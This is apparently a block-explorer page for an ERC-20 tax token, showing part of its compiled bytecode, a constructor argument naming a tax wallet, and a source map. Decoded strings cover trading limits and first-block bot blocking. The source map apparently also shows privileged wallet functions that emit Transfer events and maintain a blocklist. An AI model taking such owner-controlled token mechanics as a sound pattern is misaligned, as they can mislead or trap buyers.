43600160075461187591906133a9565b111561188f57611884836122f3565b1561188e57600080fd5b5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119395750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611997576012548261194b85610b5f565b61195591906133a9565b1115611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d90613429565b60405180910390fd5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a2057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611a6457611a616064611a53600d54600f5411611a4057600954611a44565b600b545b8561222f90919063ffffffff16565b6122a990919063ffffffff16565b90505b6000611a6f30610b5f565b9050601760159054906101000a900460ff16158015611adb5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611af35750601760169054906101000a900460ff165b8015611b00575060135481115b8015611b0f5750600e54600f54115b15611b4b57611b31611b2c84611b2784601454612306565b612306565b611e6e565b60004790506000811115611b4957611b484761231f565b5b505b505b6000811115611c5157611ba881600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611c489190612675565b60405180910390a35b611ca382600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d4a611cfc82846123e990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461238b90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611def84866123e990919063ffffffff16565b604051611dfc9190612675565b60405180910390a350505050565b6000838311158290611e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e499190612526565b60405180910390fd5b5060008385611e619190613449565b9050809150509392505050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ea657611ea5612949565b5b604051908082528060200260200182016040528015611ed45781602001602082028036833780820191505090505b5090503081600081518110611eec57611eeb612cd2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb79190613492565b81600181518110611fcb57611fca612cd2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611257565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120969594939291906135b8565b600060405180830381600087803b1580156120b057600080fd5b505af11580156120c4573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b6009600a6120f59190612c45565b6402540be4006121059190612c90565b6011819055506009600a6121199190612c45565b6402540be4006121299190612c90565b601281905550600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121d857600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121d757600080fd5b5b7f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6122079190612c45565b6402540be4006122179190612c90565b6040516122249190612675565b60405180910390a150565b600080830361224157600090506122a3565b6000828461224f9190612c90565b905082848261225e9190613641565b1461229e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612295906136e4565b60405180910390fd5b809150505b92915050565b60006122eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612433565b905092915050565b600080823b905060008111915050919050565b60008183116123155782612317565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612387573d6000803e3d6000fd5b5050565b600080828461239a91906133a9565b9050838110156123df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d690613750565b60405180910390fd5b8091505092915050565b600061242b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e0a565b905092915050565b6000808311829061247a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124719190612526565b60405180910390fd5b50600083856124899190613641565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156124d05780820151818401526020810190506124b5565b60008484015250505050565b6000601f19601f8301169050919050565b60006124f882612496565b61250281856124a1565b93506125128185602086016124b2565b61251b816124dc565b840191505092915050565b6000602082019050818103600083015261254081846124ed565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125878261255c565b9050919050565b6125978161257c565b81146125a257600080fd5b50565b6000813590506125b48161258e565b92915050565b6000819050919050565b6125cd816125ba565b81146125d857600080fd5b50565b6000813590506125ea816125c4565b92915050565b6000806040838503121561260757612606612552565b5b6000612615858286016125a5565b9250506020612626858286016125db565b9150509250929050565b60008115159050919050565b61264581612630565b82525050565b6000602082019050612660600083018461263c565b92915050565b61266f816125ba565b82525050565b600060208201905061268a6000830184612666565b92915050565b6000806000606084860312156126a9576126a8612552565b5b60006126b7868287016125a5565b93505060206126c8868287016125a5565b92505060406126d9868287016125db565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112612708576127076126e3565b5b8235905067ffffffffffffffff811115612725576127246126e8565b5b602083019150836020820283011115612741576127406126ed565b5b9250929050565b60008060006040848603121561276157612760612552565b5b600084013567ffffffffffffffff81111561277f5761277e612557565b5b61278b868287016126f2565b9350935050602061279e868287016125db565b9150509250925092565b600060ff82169050919050565b6127be816127a8565b82525050565b60006020820190506127d960008301846127b5565b92915050565b6000602082840312156127f5576127f4612552565b5b6000612803848285016125a5565b91505092915050565b6000819050919050565b600061283161282c6128278461255c565b61280c565b61255c565b9050919050565b600061284382612816565b9050919050565b600061285582612838565b9050919050565b6128658161284a565b82525050565b6000602082019050612880600083018461285c565b92915050565b61288f8161257c565b82525050565b60006020820190506128aa6000830184612886565b92915050565b6000602082840312156128c6576128c5612552565b5b60006128d4848285016125db565b91505092915050565b600080604083850312156128f4576128f3612552565b5b6000612902858286016125a5565b9250506020612913858286016125a5565b9150509250929050565b61292681612630565b811461293157600080fd5b50565b6000813590506129438161291d565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612981826124dc565b810181811067ffffffffffffffff821117156129a05761299f612949565b5b80604052505050565b60006129b3612548565b90506129bf8282612978565b919050565b600067ffffffffffffffff8211156129df576129de612949565b5b602082029050602081019050919050565b6000612a036129fe846129c4565b6129a9565b90508083825260208201905060208402830185811115612a2657612a256126ed565b5b835b81811015612a4f5780612a3b88826125a5565b845260208401935050602081019050612a28565b5050509392505050565b600082601f830112612a6e57612a6d6126e3565b5b8135612a7e8482602086016129f0565b91505092915050565b60008060408385031215612a9e57612a9d612552565b5b6000612aac85828601612934565b925050602083013567ffffffffffffffff811115612acd57612acc612557565b5b612ad985828601612a59565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b6957808604811115612b4557612b44612ae3565b5b6001851615612b545780820291505b8081029050612b6285612b12565b9450612b29565b94509492505050565b600082612b825760019050612c3e565b81612b905760009050612c3e565b8160018114612ba65760028114612bb057612bdf565b6001915050612c3e565b60ff841115612bc257612bc1612ae3565b5b8360020a915084821115612bd957612bd8612ae3565b5b50612c3e565b5060208310610133831016604e8410600b8410161715612c145782820a905083811115612c0f57612c0e612ae3565b5b612c3e565b612c218484846001612b1f565b92509050818404811115612c3857612c37612ae3565b5b81810290505b9392505050565b6000612c50826125ba565b9150612c5b836127a8565b9250612c887fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b72565b905092915050565b6000612c9b826125ba565b9150612ca6836125ba565b9250828202612cb4816125ba565b91508282048414831517612ccb57612cca612ae3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612d0c826125ba565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d3e57612d3d612ae3565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612d7f6020836124a1565b9150612d8a82612d49565b602082019050919050565b60006020820190508181036000830152612dae81612d72565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612deb601f836124a1565b9150612df682612db5565b602082019050919050565b60006020820190508181036000830152612e1a81612dde565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612e57601b836124a1565b9150612e6282612e21565b602082019050919050565b60006020820190508181036000830152612e8681612e4a565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612ec3600c836124a1565b9150612ece82612e8d565b602082019050919050565b60006020820190508181036000830152612ef281612eb6565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612f2f6017836124a1565b9150612f3a82612ef9565b602082019050919050565b60006020820190508181036000830152612f5e81612f22565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612fc16024836124a1565b9150612fcc82612f65565b604082019050919050565b60006020820190508181036000830152612ff081612fb4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130536022836124a1565b915061305e82612ff7565b604082019050919050565b6000602082019050818103600083015261308281613046565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130e56025836124a1565b91506130f082613089565b604082019050919050565b60006020820190508181036000830152613114816130d8565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006131776023836124a1565b91506131828261311b565b604082019050919050565b600060208201905081810360008301526131a68161316a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006132096029836124a1565b9150613214826131ad565b604082019050919050565b60006020820190508181036000830152613238816131fc565b9050919050565b7f426f74206164647265737365732063616e6e6f742062757920696e207468652060008201527f666972737420626c6f636b000000000000000000000000000000000000000000602082015250565b600061329b602b836124a1565b91506132a68261323f565b604082019050919050565b600060208201905081810360008301526132ca8161328e565b9050919050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b6000613307601a836124a1565b9150613312826132d1565b602082019050919050565b60006020820190508181036000830152613336816132fa565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b60006133736018836124a1565b915061337e8261333d565b602082019050919050565b600060208201905081810360008301526133a281613366565b9050919050565b60006133b4826125ba565b91506133bf836125ba565b92508282019050808211156133d7576133d6612ae3565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b6000613413601a836124a1565b915061341e826133dd565b602082019050919050565b6000602082019050818103600083015261344281613406565b9050919050565b6000613454826125ba565b915061345f836125ba565b925082820390508181111561347757613476612ae3565b5b92915050565b60008151905061348c8161258e565b92915050565b6000602082840312156134a8576134a7612552565b5b60006134b68482850161347d565b91505092915050565b6000819050919050565b60006134e46134df6134da846134bf565b61280c565b6125ba565b9050919050565b6134f4816134c9565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61352f8161257c565b82525050565b60006135418383613526565b60208301905092915050565b6000602082019050919050565b6000613565826134fa565b61356f8185613505565b935061357a83613516565b8060005b838110156135ab5781516135928882613535565b975061359d8361354d565b92505060018101905061357e565b5085935050505092915050565b600060a0820190506135cd6000830188612666565b6135da60208301876134eb565b81810360408301526135ec818661355a565b90506135fb6060830185612886565b6136086080830184612666565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061364c826125ba565b9150613657836125ba565b92508261366757613666613612565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006136ce6021836124a1565b91506136d982613672565b604082019050919050565b600060208201905081810360008301526136fd816136c1565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061373a601b836124a1565b915061374582613704565b602082019050919050565b600060208201905081810360008301526137698161372d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203af33b822f53607c0dd3ea054f22a2dd4bbd9033252c566d107d72f1278a811f64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000077e5a0156f1657599ed9940f054069ac8b9bd30c

-----Decoded View---------------
Arg [0] : _walletTax (address): 0x77e5a0156f1657599ed9940f054069aC8b9BD30c

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000077e5a0156f1657599ed9940f054069ac8b9bd30c


Deployed Bytecode Sourcemap

2136:9815:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4444:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5277:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3483:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4721:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5446:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11518:260;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4630:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2622:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10737:295;;;;;;;;;;;;;:::i;:::-;;2741:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9790:144;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10639:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4824:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;621:148:2;;;;;;;;;;;;;:::i;:::-;;3216:56:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3595:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;407:79:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3279:58:3;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4535:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4951:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11041:254;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2703:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3419:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11786:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11305:204;;;;;;;;;;;;;:::i;:::-;;5126:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2662:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3678:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9439:343;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4444:83;4481:13;4514:5;;;;;;;;;;;;;;;;;4507:12;;4444:83;:::o;5277:161::-;5352:4;5369:39;5378:12;:10;:12::i;:::-;5392:7;5401:6;5369:8;:39::i;:::-;5426:4;5419:11;;5277:161;;;;:::o;3483:54::-;;;;:::o;4721:95::-;4774:7;3025:1;3196:2;:13;;;;:::i;:::-;3179:14;:30;;;;:::i;:::-;4794:14;;4721:95;:::o;5446:313::-;5544:4;5561:36;5571:6;5579:9;5590:6;5561:9;:36::i;:::-;5608:121;5617:6;5625:12;:10;:12::i;:::-;5639:89;5677:6;5639:89;;;;;;;;;;;;;;;;;:11;:19;5651:6;5639:19;;;;;;;;;;;;;;;:33;5659:12;:10;:12::i;:::-;5639:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5608:8;:121::i;:::-;5747:4;5740:11;;5446:313;;;;;:::o;11518:260::-;11625:10;;;;;;;;;;;11609:26;;:12;:10;:12::i;:::-;:26;;;11601:35;;;;;;11652:9;11647:124;11671:10;;:17;;11667:1;:21;11647:124;;;11739:10;;11750:1;11739:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11715:44;;11724:13;;;;;;;;;;;11715:44;;;11754:4;11715:44;;;;;;:::i;:::-;;;;;;;;11690:3;;;;;:::i;:::-;;;;11647:124;;;;11518:260;;;:::o;4630:83::-;4671:5;3025:1;4689:16;;4630:83;:::o;2622:33::-;;;;:::o;10737:295::-;544:12:2;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10796:11:3::1;;;;;;;;;;;10795:12;10787:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;10854:23;10880:21;10854:47;;10938:1;10920:15;:19;10912:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10990:7;:5;:7::i;:::-;10982:25;;:42;11008:15;10982:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10776:256;10737:295::o:0;2741:32::-;;;;:::o;9790:144::-;9847:4;9870:49;:56;9920:5;9870:56;;;;;;;;;;;;;;;;;;;;;;;;;9863:63;;9790:144;;;:::o;10639:90::-;10688:4;10712:9;10705:16;;10639:90;:::o;4824:119::-;4890:7;4917:9;:18;4927:7;4917:18;;;;;;;;;;;;;;;;4910:25;;4824:119;;;:::o;621:148:2:-;544:12;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;728:1:::1;691:40;;712:6;::::0;::::1;;;;;;;;691:40;;;;;;;;;;;;759:1;742:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;621:148::o:0;3216:56:3:-;;;;:::o;3595:39::-;;;;;;;;;;;;;:::o;407:79:2:-;445:7;472:6;;;;;;;;;;;465:13;;407:79;:::o;3279:58:3:-;;;;:::o;4535:87::-;4574:13;4607:7;;;;;;;;;;;;;;;;;4600:14;;4535:87;:::o;4951:167::-;5029:4;5046:42;5056:12;:10;:12::i;:::-;5070:9;5081:6;5046:9;:42::i;:::-;5106:4;5099:11;;4951:167;;;;:::o;11041:254::-;11119:10;;;;;;;;;;;11103:26;;:12;:10;:12::i;:::-;:26;;;11095:35;;;;;;11159:24;11177:4;11159:9;:24::i;:::-;11149:6;:34;;:48;;;;;11196:1;11187:6;:10;11149:48;11141:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;11225:24;11242:6;11225:16;:24::i;:::-;11260:10;;;;;;;;;;;:19;;:27;11280:6;11260:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11041:254;:::o;2703:31::-;;;;:::o;3419:57::-;;;;:::o;11786:125::-;11860:10;;;;;;;;;;;11844:26;;:12;:10;:12::i;:::-;:26;;;11836:35;;;;;;11898:5;11882:13;;:21;;;;;;;;;;;;;;;;;;11786:125;:::o;11305:204::-;544:12:2;:10;:12::i;:::-;534:22;;:6;;;;;;;;;;:22;;;526:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11369:11:3::1;;;;;;;;;;;11368:12;11360:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11432:4;11418:11;;:18;;;;;;;;;;;;;;;;;;11461:4;11447:11;;:18;;;;;;;;;;;;;;;;;;11489:12;11476:10;:25;;;;11305:204::o:0;5126:143::-;5207:7;5234:11;:18;5246:5;5234:18;;;;;;;;;;;;;;;:27;5253:7;5234:27;;;;;;;;;;;;;;;;5227:34;;5126:143;;;;:::o;2662:34::-;;;;:::o;3678:23::-;;;;;;;;;;;;;:::o;9439:343::-;9531:10;;;;;;;;;;;9515:26;;:12;:10;:12::i;:::-;:26;;;9507:35;;;;;;9553:13;9581:194;9596:5;:12;9588:5;:20;9581:194;;;9625:14;9650:5;9656;9650:12;;;;;;;;:::i;:::-;;;;;;;;9625:38;;9738:3;9678:49;:57;9728:6;9678:57;;;;;;;;;;;;;;;;:63;;;;;;;;;;;;;;;;;;9756:7;;;;;:::i;:::-;;;;9610:165;9581:194;;;9496:286;9439:343;;:::o;95:98:0:-;148:7;175:10;168:17;;95:98;:::o;5767:335:3:-;5877:1;5860:19;;:5;:19;;;5852:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5958:1;5939:21;;:7;:21;;;5931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6040:6;6010:11;:18;6022:5;6010:18;;;;;;;;;;;;;;;:27;6029:7;6010:27;;;;;;;;;;;;;;;:36;;;;6078:7;6062:32;;6071:5;6062:32;;;6087:6;6062:32;;;;;;:::i;:::-;;;;;;;;5767:335;;;:::o;6110:2501::-;6214:1;6198:18;;:4;:18;;;6190:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6291:1;6277:16;;:2;:16;;;6269:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6361:1;6352:6;:10;6344:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6419:17;6461:7;:5;:7::i;:::-;6453:15;;:4;:15;;;;:32;;;;;6478:7;:5;:7::i;:::-;6472:13;;:2;:13;;;;6453:32;6449:1806;;;6515:1;6502:10;;:14;:43;;;;;6535:10;;6520:12;:25;6502:43;6498:70;;;6548:18;6561:4;6548:12;:18::i;:::-;6498:70;6594:77;6667:3;6594:68;6617:15;;6606:9;;:26;;6605:56;;6647:14;;6605:56;;;6634:12;;6605:56;6594:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;6582:89;;6700:13;;;;;;;;;;;6692:21;;:4;:21;;;:55;;;;;6731:15;;;;;;;;;;;6717:30;;:2;:30;;;;6692:55;6688:676;;;6786:12;6772:10;;:26;6768:581;;6831:18;:22;6850:2;6831:22;;;;;;;;;;;;;;;;;;;;;;;;;6823:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;3025:1;3399:2;:13;;;;:::i;:::-;3386:10;:26;;;;:::i;:::-;6932:6;:24;;6924:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6768:581;;;7054:12;;7044:6;:22;;7036:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7152:14;;7142:6;7126:13;7136:2;7126:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7118:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7241:12;7237:1;7224:10;;:14;;;;:::i;:::-;:29;7220:110;;;7291:14;7302:2;7291:10;:14::i;:::-;7290:15;7282:24;;;;;;7220:110;6768:581;6688:676;7390:13;;;;;;;;;;;7384:19;;:2;:19;;;;:46;;;;;7408:18;:22;7427:2;7408:22;;;;;;;;;;;;;;;;;;;;;;;;;7407:23;7384:46;7380:166;;;7485:14;;7475:6;7459:13;7469:2;7459:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7451:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7380:166;7571:13;;;;;;;;;;;7565:19;;:2;:19;;;:43;;;;;7603:4;7588:20;;:4;:20;;;;7565:43;7562:174;;;7641:79;7716:3;7641:70;7663:16;;7653:9;;:26;7652:58;;7695:15;;7652:58;;;7681:13;;7652:58;7641:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;7629:91;;7562:174;7752:28;7783:24;7801:4;7783:9;:24::i;:::-;7752:55;;7827:6;;;;;;;;;;;7826:7;:31;;;;;7844:13;;;;;;;;;;;7837:20;;:2;:20;;;7826:31;:46;;;;;7861:11;;;;;;;;;;;7826:46;:88;;;;;7897:17;;7876:20;:38;7826:88;:120;;;;;7928:18;;7918:9;;:28;7826:120;7822:420;;;7967:67;7984:49;7988:6;7995:37;7999:20;8020:11;;7995:3;:37::i;:::-;7984:3;:49::i;:::-;7967:16;:67::i;:::-;8053:26;8082:21;8053:50;;8146:1;8125:18;:22;8122:105;;;8172:35;8185:21;8172:12;:35::i;:::-;8122:105;7948:294;7822:420;6487:1768;6449:1806;8280:1;8270:9;:11;8267:161;;;8320:39;8349:9;8320;:24;8338:4;8320:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;8295:9;:24;8313:4;8295:24;;;;;;;;;;;;;;;:64;;;;8400:4;8377:39;;8386:4;8377:39;;;8406:9;8377:39;;;;;;:::i;:::-;;;;;;;;8267:161;8454:27;8474:6;8454:9;:15;8464:4;8454:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8438:9;:15;8448:4;8438:15;;;;;;;;;;;;;;;:43;;;;8506:40;8524:21;8535:9;8524:6;:10;;:21;;;;:::i;:::-;8506:9;:13;8516:2;8506:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;8492:9;:13;8502:2;8492:13;;;;;;;;;;;;;;;:54;;;;8577:2;8562:41;;8571:4;8562:41;;;8581:21;8592:9;8581:6;:10;;:21;;;;:::i;:::-;8562:41;;;;;;:::i;:::-;;;;;;;;6179:2432;6110:2501;;;:::o;495:190::-;581:7;614:1;609;:6;;617:12;601:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;641:9;657:1;653;:5;;;;:::i;:::-;641:17;;676:1;669:8;;;495:190;;;;;:::o;9942:483::-;3874:4;3865:6;;:13;;;;;;;;;;;;;;;;;;10020:21:::1;10058:1;10044:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10020:40;;10089:4;10071;10076:1;10071:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10115:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10105:4;10110:1;10105:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10148:62;10165:4;10180:15;;;;;;;;;;;10198:11;10148:8;:62::i;:::-;10221:15;;;;;;;;;;;:66;;;10302:11;10328:1;10344:4;10371;10391:15;10221:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10009:416;3910:5:::0;3901:6;;:14;;;;;;;;;;;;;;;;;;9942:483;:::o;8822:273::-;3025:1;3196:2;:13;;;;:::i;:::-;3179:14;:30;;;;:::i;:::-;8879:12;:22;;;;3025:1;3196:2;:13;;;;:::i;:::-;3179:14;:30;;;;:::i;:::-;8912:14;:24;;;;8950:49;:57;9000:6;8950:57;;;;;;;;;;;;;;;;;;;;;;;;;8947:97;;;9017:18;:26;9036:6;9017:26;;;;;;;;;;;;;;;;;;;;;;;;;9009:35;;;;;;8947:97;9060:27;3025:1;3196:2;:13;;;;:::i;:::-;3179:14;:30;;;;:::i;:::-;9060:27;;;;;;:::i;:::-;;;;;;;;8822:273;:::o;693:246::-;751:7;780:1;775;:6;771:47;;805:1;798:8;;;;771:47;828:9;844:1;840;:5;;;;:::i;:::-;828:17;;873:1;868;864;:5;;;;:::i;:::-;:10;856:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;930:1;923:8;;;693:246;;;;;:::o;947:132::-;1005:7;1032:39;1036:1;1039;1032